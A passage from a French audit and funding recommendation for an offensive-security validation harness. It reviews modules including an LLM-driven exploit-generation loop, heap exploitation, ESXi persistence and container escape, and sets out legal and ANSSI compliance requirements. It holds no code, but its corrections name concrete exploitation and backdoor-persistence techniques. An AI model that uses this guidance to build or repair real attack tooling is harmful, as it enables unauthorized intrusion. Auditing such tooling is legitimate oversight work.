4. **Parsing SARIF non implémenté** [INFO] — le rapport CodeQL est écrit en SARIF dans /tmp/codeql.sarif mais n'est jamais lu ni inclus dans la sortie JSON du module. L'information est perdue.

Corrections recommandées

- Rendre le timeout configurable via argument ou variable d'environnement.
- Accepter le chemin de la base CodeQL en argument (--codeql-db).
- Spécifier un query pack explicite pour CodeQL (ex. : codeql/cpp-queries).
- Parser le fichier SARIF et inclure un résumé (nombre de findings par sévérité) dans la sortie JSON.

3.13 Module 13 — Boucle LLM (llm_exploit_loop.py)

Ce module implémente une boucle générative : un LLM produit un PoC (payload hex), un validateur l'exécute contre une cible, le feedback (crash/échec) est renvoyé au LLM. L'architecture est inspirée de PoCForge et est conceptuellement saine. Les défauts sont dans la robustesse du parsing LLM et dans la définition du succès.

Bugs identifiés

1. **Parsing hex trop strict** [MAJEUR] — bytes.fromhex(text) échoue si le LLM produit le moindre caractère non-hex (espace, saut de ligne, préfixe 0x, prose). Le except ValueError capture l'erreur mais l'itération est perdue. Le module peut épuiser ses 5 itérations sans aucun test réel si le LLM ne respecte pas strictement le format. Pré-traiter : re.sub(r'[^0-9a-fA-F]', '', text).
2. **Crash != exploit** [MAJEUR] — la définition du succès est returncode < 0 or returncode > 128, soit un crash. Mais un crash n'est pas un exploit : il faut vérifier que le crash est bien dû au payload (et non à un bug unrelated), qu'il est reproductible, et idéalement qu'il permet une action (ex. : écrasement de PC, fuite d'information). La métrique success surévalue le résultat.
3. **Pas d'isolation de l'exécution** [MAJEUR] — le commentaire indique « conteneur isolé fourni par l'opérateur », mais le code exécute subprocess.run([TARGET_CMD, path]) localement. Si le LLM produit un payload qui exploite le binaire avec un shell, l'exécution n'est pas sandboxée. Risque pour l'environnement de test.
4. **Historique non borné** [MINEUR] — l'historique complet (tous les payloads + résultats) est renvoyé au LLM à chaque itération. Pour MAX_ITER=5, c'est acceptable. Pour des boucles plus longues, le prompt dépassera le contexte du modèle. Implémenter un fenêtrage (garder les 3 derniers essais + résumé des autres).
5. **Endpoint LLM par défaut en HTTP** [MINEUR] — http://127.0.0.1:11434 (Ollama) est en HTTP plain. Si l'endpoint est distant, le prompt (qui peut contenir des données sensibles de la cible) transite en clair. Préférer HTTPS ou s'assurer que l'endpoint est local.

Corrections recommandées

- Pré-traiter la sortie LLM : extraire le bloc hex avec un regex, nettoyer les caractères non-hex, gérer les préfixes (0x, hex:).
- Pour la définition du succès : (1) reproductibilité (le crash se reproduit-il 3 fois ?), (2) ASAN signal (si binaire ASAN, vérifier le type de bug), (3) vérification que le crash est dans le code ciblé (backtrace).
- Exécuter la cible dans un sandbox (nsjail, bubblewrap, conteneur dédié) avec restrictions réseau, filesystem, et capabilities.
- Implémenter un fenêtrage de l'historique pour les longues boucles.
- Documenter que l'endpoint LLM doit être local ou chiffré.

3.14 Module 14 — Matrice étendue (matrix_v2.json)

La matrice v2 est la section la plus honnête du livrable. Elle acknowledge explicitement les limites du programme via honest_ceiling : couverture élevée pour les CVE avec PoC public, partielle pour celles sans PoC, faible pour les zero-day, hors portée pour les flaws logiques. Cette honnêteté est à saluer.

Observations

1. **honest_ceiling est excellente** [INFO] — la distinction entre « known_cves_with_public_poc », « known_cves_without_poc », « unknown_cves_zero_day » et « logic_flaws » est précise et utile pour un décideur. C'est la bonne manière de caduquer les attentes.
2. **Succès LLM chiffré** [INFO] — la mention « 30-51 % de succès selon benchmark » pour llm_exploit est honnête et alignée avec la littérature académique (PoCForge, CyberSecEval). Le range est large, ce qui reflète la variabilité inter-cibles.
3. **Manque de mapping CVE** [MINEUR] — la matrice reste abstraite. Pour un usage contractuel, chaque module offensive devrait être lié à un ensemble de CVE spécifiques qu'il couvre (ex. : « php_chain couvre CVE-2021-xxxx »). Sans cela, la « couverture élevée » n'est pas vérifiable.
4. **matrix.json (v1) non intégrée** [MINEUR] — la matrice v1 (matrix.json) définit des attendus comme dangling_hits > 0, mais l'orchestrateur ne vérifie jamais ces attendus contre les résultats réels. Il y a un gap entre la matrice contractuelle et l'exécution.

Recommandations

- Maintenir l'honnêteté de honest_ceiling — c'est un atout pour la crédibilité.
- Ajouter un mapping CVE par module offensive (tableau covers dans la matrice).
- Implémenter dans l'orchestrateur une vérification des attendus : lire expected dans matrix.json, évaluer l'expression contre le résultat du module, et inclure un booléen expectation_met dans le rapport.

4. Problèmes systémiques transversaux

Au-delà des bugs par module, l'audit révèle des défauts systémiques qui affectent l'ensemble du programme. Ces défauts doivent être traités prioritairement car ils limitent la valeur de l'investissement quelle que soit la qualité des modules individuels.

4.1 Signature et intégrité des rapports

Le harness prétend produire des rapports signés et vérifiables, fondement d'un usage gouvernemental. Or :

- La signature utilise SHA-256(clé + corps) au lieu de HMAC — vulnérable à l'extension de longueur.
- Aucune fonction de vérification n'est fournie — un contrôleur ne peut pas valider un rapport sans réécrire du code.
- La clé par défaut 'harness-lab-key' est publique — si deploy.sh n'est pas utilisé, la signature n'a aucune valeur.
- Le rapport inclut un timestamp réel (generated_at), rendant le hash global non reproductible — ce qui est acceptable pour un rapport horodaté, mais la prétention de reproductibilité doit être retirée de la documentation.

Pour un usage gouvernemental, la signature doit utiliser HMAC-SHA-256, la clé doit être chargée depuis un module sécurisé (HSM, vault, ou au minimum un fichier à permissions 0400), et une fonction verify() doit être livrée et testée.

4.2 Reproductibilité non garantie

Plusieurs modules ont un comportement non déterministe :

- Modules réseau (6, 7, 8, 9) : dépendent de la cible (latence, état, version).
- Module 3 (heap) : dépend de l'ASLR, de l'état du heap, de la version glibc exacte.
- Module 4 (GDB) : dépend de l'état mémoire du process cible au moment de l'attach.
- Module 11 (AFL) : fuzzing intrinsèquement aléatoire (seed intégré, mais coverage non déterministe).
- Module 13 (LLM) : dépend des réponses du modèle, qui sont stochastiques même à température 0 sur certains backends.

Le SHA-256 de stdout capture cette non-déterminisme, donc deux exécutions successives produiront des hashes différents. La signature prouve l'authenticité d'une exécution spécifique, pas la reproductibilité. Cette distinction doit être claire dans la documentation contractuelle.

4.3 Gestion d'erreurs insuffisante

Aucun module ne distingue proprement trois cas :

- **Module a échoué correctement** — la cible n'était pas vulnérable, le test s'est exécuté et a retourné leak: false. C'est un résultat valide.

- **Module a crashé à cause d'un bug** — exception non gérée, segfault, timeout. Le résultat est invalide mais est capturé comme une erreur JSON générique.
- **Module n'a pas pu s'exécuter** — prérequis manquant (PHP, gdb, docker.sock), cible absente. Le module est silencieusement ignoré ou produit une erreur obscure.

L'orchestrateur doit différencier ces cas via des codes de sortie standardisés (0 = succès, 1 = test négatif, 2 = erreur environnement, 3 = bug interne) et les logger explicitement dans le rapport.

4.4 Absence d'isolation d'exécution

Les modules offensive (1, 2, 3, 5, 7, 13) manipulent des exploits réels. En l'état, l'orchestrateur les lance directement sur l'hôte via subprocess.run. Pour un usage gouvernemental :

- Chaque module devrait s'exécuter dans un sandbox dédié (conteneur, namespace, nsjail).
- L'accès réseau doit être restreint (only 127.0.0.1, pas d'accès Internet).
- Le filesystem doit être en lecture seule sauf pour le répertoire de rapports.
- Les capabilities doivent être minimales (pas de CAP_SYS_PTRACE sauf module 4, pas de CAP_SYS_ADMIN sauf module 7).

Le deploy.sh actuel n'implémente aucune de ces mesures. C'est un gap majeur pour un déploiement opérationnel.

4.5 Écart entre prétention et couverture réelle

Le programme prétend couvrir 14 modules offensive et discovery. En réalité :

- 4 modules ne fonctionnent pas (1, 3, 4, 5) — soit 29 % de la surface annoncée.
- 3 modules fonctionnent partiellement (2, 8, 13) — soit 21 %.
- 7 modules sont acceptables après corrections mineures (0, 6, 7, 9, 11, 12, 14) — 50 %.

La couverture réelle à la livraison est donc d'environ 50 % de la couverture annoncée. Ce ratio doit être transparent dans le dossier de financement. La matrice v2 honest_ceiling est un bon cadre, mais elle doit être enrichie d'une colonne « statut opérationnel réel » par module.

5. Conformité légale et cadre gouvernemental français

5.1 Cadre pénal — Articles 323-1 et suivants du Code pénal

Les modules de ce harness implémentent des techniques d'accès frauduleux à un système de traitement automatisé de données (STAD) : exploitation mémoire, injection de commande, évasion conteneur, contournement d'authentification. L'article 323-1 du Code pénal français sanctionne de 2 ans d'emprisonnement et 60 000 € d'amende « le fait d'accéder ou de se maintenir, frauduleusement, dans tout ou partie d'un système de traitement automatisé de données ».

Le cadre légal d'utilisation est donc **impératif** :

- Le harness ne doit être exécuté que sur des environnements explicitement autorisés (laboratoires isolés, plateformes de test dédiées, infrastructures de simulation).
- Chaque exécution doit être tracée dans un registre d'audit (opérateur, date, cible, objectif, autorité requérante).
- L'orchestrateur doit refuser de s'exécuter si une variable LAB=1 (présente dans le code) n'est pas positionnée — ce qui est déjà le cas, mais la vérification devrait être renforcée (refus si LAB absent, pas seulement présent).

5.2 Cadre ANSSI et homologation de sécurité

Pour un programme financé par l'État et destiné à un usage gouvernemental, l'ANSSI (Agence nationale de la sécurité des systèmes d'information) définit le cadre applicable :

- **Guide d'hygiène informatique** (ANSSI, recommandations de cybersécurité) : le harness lui-même doit respecter les 42 mesures d'hygiène. En l'état, le défaut d'isolation d'exécution (section 4.4) contrevient à la mesure « cloisonner les administrateurs ».
- **Règles d'engagement pour les tests d'intrusion** : l'ANSSI publie un cadre pour les prestations de tests d'intrusion (référentiel PASSI). Le harness, s'il est utilisé pour des tests d'intrusion réels, doit être conforme à ce référentiel, notamment sur la traçabilité, le périmètre, et le consentement de la cible.
- **Homologation de sécurité** : si le harness traite des données de sécurité classifiées (rapports d'exploit, dumps mémoire contenant des sessions), le système qui l'héberge doit être homologué selon la doctrine ANSSI (RGS v2 pour les systèmes de l'administration électronique, voire protection du secret de la défense nationale si classifié défense).

5.3 Protection du secret de la défense nationale

Si le harness est destiné à un usage militaire ou de défense (ce que la mention « gouvernemental » peut impliquer), les rapports produits peuvent contenir des informations sensibles :

- Dumps mémoire (module 4) pouvant contenir des credentials, des clés, des données opérationnelles.
- Rapports d'exploit (module 3, 5) révélant des vulnérabilités dans des systèmes critiques.

- Payloads générés (module 2, 13) pouvant être réutilisés offensivement.

Ces données relèvent potentiellement de l'article 413-9 du Code pénal (protection du secret de la défense nationale). Le stockage, la transmission et la destruction des rapports doivent suivre un régime de protection adapté : chiffrement au repos (AES-256), chiffrement en transit (TLS 1.3), journalisation d'accès, destruction sécurisée après rétention réglementaire.

5.4 RGPD et données personnelles

Les modules 4 (extraction sessions PHP), 6 (injection avec id qui peut révéler des utilisateurs), et 7 (lecture de /etc/shadow) peuvent capturer des données à caractère personnel (identifiants, hashes de mots de passe, sessions). Le RGPD s'applique :

- Les rapports ne doivent pas inclure de données personnelles en clair (les hashes et sessions doivent être tronqués ou hashés avant stockage).
- Le registre des activités de traitement (article 30) doit mentionner le harness.
- Une politique de rétention doit être définie : les rapports sont détruits après un délai défini (ex. : 90 jours), sauf archivage légal.

5.5 Traçabilité et archivage

Pour un usage gouvernemental, la traçabilité des exécutions est essentielle :

- Chaque exécution doit produire un log horodaté, signé, archivé (module 0 produit déjà un rapport JSON, c'est une base correcte).
- Les logs doivent inclure l'identité de l'opérateur (actuellement absent du rapport).
- L'archivage doit être sur un support WORM (Write Once Read Many) ou équivalent, pour garantir l'intégrité des archives.

6. Faisabilité opérationnelle

6.1 Compétences requises

Le programme mobilise un spectre technique large. L'équipe de développement et d'exploitation doit couvrir :

Domaine	Compétence	Modules concernés
PHP internals	GC cycles, Zend engine, désérialisation, ASAN	1, 2
Exploitation mémoire C	glibc heap (tcache, fastbin, unsorted), ASLR, ROP	3
Reverse / debugging	GDB scripting Python, analyse de core dumps	4
Systèmes ESXi	vmsyslog, rc.local.d, BusyBox, esxcli	5
Web / CGI	Injection de commande, encodage HTTP, WAF	6, 8, 9
Conteneurs	Docker API, namespaces, capabilities	7
Fuzzing	AFL++, instrumentation ASAN, corpus management	11
SAST	Semgrep rules, CodeQL queries, SARIF	12
LLM / ML	Prompt engineering, Ollama, sandboxing d'exécution	13
Sécurité applicative	Cryptographie (HMAC), isolation, traçabilité	0

Ce spectre correspond au profil d'une équipe PASSI (Prestataire d'Audit de Sécurité des Systèmes d'Information) qualifiée par l'ANSSI, ou d'une cellule offensive gouvernementale (CERT-FR, unités offensive de l'ANSSI). Une équipe de développement classique ne dispose pas de ces compétences. Le budget doit prévoir soit le recrutement de profils spécialisés (rare et coûteux sur le marché français), soit le sous-traitance à un prestataire qualifié.

6.2 Dépendances externes

Le harness dépend d'un environnement d'exécution précis et fragile :

- PHP 7.4.33 compilé en debug + ASAN (build_php.sh) : cette version n'est plus maintenue (fin de support PHP 7.4 en novembre 2022). Le build nécessite un compilateur et ~20 minutes de compilation.
- glibc 2.31 (Ubuntu 20.04) : le module 3 cible cette version précise. Une migration vers Ubuntu 22.04 (glibc 2.35, __free_hook supprimé) casserait le module.
- AFL++ : nécessite une installation (/opt/AFLplusplus) et un binaire cible instrumenté (compilation avec afl-clang-fast ou source avec harness).
- Semgrep et CodeQL : outils externes, nécessitent une connexion Internet pour le téléchargement des règles. CodeQL nécessite un build de base de données par projet.
- Ollama (module 13) : modèle local (llama3), nécessite GPU ou CPU puissant. La qualité du modèle influence directement les résultats.

- PHP Composer (module 2) : composer install télécharge monolog et guzzle depuis packagist.org. Versions épinglées mais dépendance à Internet.

6.3 Coûts cachés

Au-delà du développement, le programme génère des coûts récurrents :

- **Maintenance des environnements** : PHP 7.4 debug, glibc 2.31, AFL++, Ollama doivent être maintenus. Chaque mise à jour de l'hôte peut casser un module.
- **Tests de régression** : chaque module devrait avoir une suite de tests garantissant qu'il fonctionne sur l'environnement cible. En l'état, aucun test n'est fourni.
- **Environnements de cible** : les modules 1-9 nécessitent des cibles vulnérables (PHP 7.4 vulnérable, CGI avec injection, docker.sock exposé, etc.). Ces environnements doivent être construits et maintenus.
- **Documentation** : le programme manque d'une documentation d'architecture, de prérequis, et de procédures d'exploitation. Pour un usage gouvernemental, cette documentation est aussi importante que le code.

6.4 Risque de dérive offensive

Le harness est étiqueté « validation » mais les modules 1-9 sont des outils offensive opérationnels. La frontière entre « valider une défense » et « conduire une attaque » est mince. Pour un programme gouvernemental :

- Définir clairement le périmètre d'usage autorisé (validation de défenses déployées par l'État, tests d'intrusion autorisés).
- Encadrer l'accès au code (dépôt à accès restreint, classification, audit d'accès).
- Prévoir un comité d'éthique ou de supervision pour les usages sensibles (module 13 LLM en particulier, qui peut générer des exploits imprévus).

7. Recommandation de financement

7.1 Verdict

GO CONDITIONNEL. Le programme mérite un financement car : (1) la couverture conceptuelle est large et pertinente pour un programme gouvernemental de validation sécurité ; (2) l'architecture générale (orchestrateur signé, matrices contractuelles, modules discovery) est saine ; (3) l'honnêteté de matrix_v2.json sur les limites est un signal positif de maturité. Cependant, le financement doit être **conditionné et structuré par tranches** pour protéger l'investissement public et garantir la livraison d'un outil opérationnel.

7.2 Jalons préalables (tranche 1)

Le déblocage de la première tranche (60 % du budget) est conditionné à la résolution des 7 jalons suivants, à valider par un audit indépendant :

Jalon	Description	Module(s)
J1	Remplacer SHA-256(key+body) par HMAC-SHA-256. Fournir verify().	0
J2	Réécrire le module heap C (contournement tcache_key, leak libc, poison __free_hook).	3
J3	Corriger le module GDB (filtre rw-p, sortie JSON unique valide).	4
J4	Réécrire le module ESXi (persistance locale.sh, backdoor compatible BusyBox, suppression du second reload).	5
J5	Corriger le filtre de modules de l'orchestrateur (vérifier le script, pas le dernier argument).	0
J6	Implémenter l'isolation d'exécution (conteneur dédié par module, réseau restreint).	0, tous
J7	Implémenter la vérification des attendus (lire matrix.json, évaluer expected contre résultat, inclure expectation_met).	0, 10

7.3 Tranches de versement

Le financement est structuré en 3 tranches, conditionnées à des livrables vérifiables :

Tranche	Montant	Condition de déblocage	Délai
T1	60 %	Jalons J1-J7 validés par audit tiers	À la signature + 90 jours
T2	25 %	Modules 1, 2, 3, 5 fonctionnels sur environnement cible de validation	T1 + 120 jours
T3	15 %	Documentation complète + formation opérateurs + homologation ANSSI initiée	T2 + 90 jours

7.4 KPIs de suivi

Le comité d'investissement devrait suivre les indicateurs suivants pendant l'exécution du programme :

- **Taux de modules fonctionnels** : ratio modules opérationnels / modules livrés. Cible T2 : ⩾ 85 % (12/14).
- **Couverture CVE** : nombre de CVE couvertes par un module offensive testé et validé. Cible : ⩾ 20 CVE avec PoC validé sur environnement cible.
- **Reproductibilité** : sur 10 exécutions successives d'un même module avec seed identique, le hash de stdout doit être identique pour les modules déterministes (0, 2, 9, 12). Cible : 100 %.
- **Taux de faux positifs** : pour les modules de détection (6, 9, 12), ratio détections validées / détections signalées. Cible : < 10 % de faux positifs.
- **Temps d'exécution** : durée totale de l'orchestrateur sur environnement de référence. Cible : < 30 minutes.

7.5 Risques de financement

Trois risques principaux pèsent sur le programme :

1. **Risque technique — modules offensive non réparables** : si les modules 3 (heap) et 5 (ESXi) ne peuvent pas être réécrits dans les délais, la couverture offensive est réduite de 29 %. Mitigation : sous-traitance à un expert exploreur (prestataire PASSI) pour ces modules spécifiques.
2. **Risque de compétences — marché tendu** : les compétences en exploitation mémoire (PHP internals, glibc heap) sont rares en France. Le recrutement peut prendre 6-12 mois. Mitigation : prévoir un budget de sous-traitance et former en interne en parallèle.
3. **Risque d'obsolescence — PHP 7.4 et glibc 2.31** : ces versions ne sont plus maintenues. Le programme fige l'état de l'art à 2020-2022. Mitigation : prévoir un jalon d'extension vers PHP 8.x et glibc 2.35+ dans la tranche T3, avec une réécriture des modules concernés.

8. Annexe — Tableau consolidé des corrections

Le tableau ci-dessous consolide l'ensemble des corrections recommandées par module, classées par priorité. P1 = bloquant (doit être résolu avant T1), P2 = majeur (avant T2), P3 = mineur (avant T3).

Module	Correction	Priorité
0 — Orchestrator	HMAC + verify()	P1
0 — Orchestrator	Gestion timeout	P2
0 — Orchestrator	Correction filtre modules	P1
0 — Orchestrator	REPORT_KEY obligatoire	P1
1 — PHP UAF	Réécriture logique UAF (libérer réellement)	P2
1 — PHP UAF	Correction métrique dangling_hits	P2
2 — PHP Chain	Documentation honnête (file-write, pas RCE)	P2
2 — PHP Chain	Test stabilité byte-à-byte	P3
3 — C Heap	Réécriture complète (tcache_key, libc leak, __free_hook)	P1
4 — GDB Extract	Correction filtre rw-p (split()[2])	P1
4 — GDB Extract	Sortie JSON unique valide	P1
5 — ESXi	Persistance local.sh (pas .new)	P1
5 — ESXi	Backdoor BusyBox (sans -e)	P1
5 — ESXi	Suppression second syslog reload	P2
6 — Preauth	Suppression variante IFS inopérante	P3
6 — Preauth	r.content au lieu de r.text	P3
7 — Docker	Cleanup try/finally	P2
7 — Docker	Lib docker officielle ou parsing robuste	P2
8 — WAF	HTTP/2 avec ALPN h2	P2
8 — WAF	Implémenter dbl_encode + nul_space	P2
9 — Fuzzer	Correction mutation \uXXXX	P3
11 — AFL	Redirection log fichier	P3
12 — SAST	Parsing SARIF	P3
13 — LLM	Pré-traitement hex robuste	P2
13 — LLM	Sandbox d'exécution	P2
13 — LLM	Définition succès = exploit, pas crash	P2
14 — Matrix	Mapping CVE par module	P3
0 — Orchestrator	Isolation conteneur par module	P1
0 — Orchestrator	Vérification attendus matrix.json	P1

Légende : P1 = bloquant (7 jalons, doit être résolu avant déblocage tranche 1). P2 = majeur (doit être résolu avant tranche 2). P3 = mineur (doit être résolu avant tranche 3).

Note finale. Cet audit est un avis technique indépendant, fondé sur la revue statique du code source fourni. Il ne préjuge pas des capacités de l'équipe de développement à corriger les défauts identifiés. La structuration par tranches vise à protéger l'investissement public tout en laissant à l'équipe la marge de manœuvre nécessaire pour monter en qualité. La validation finale des modules offensive (1, 2, 3, 5) devra se faire sur environnement cible réel, par un tiers indépendant, dans des conditions de sécurité conformes au cadre ANSSI décrit en section 5.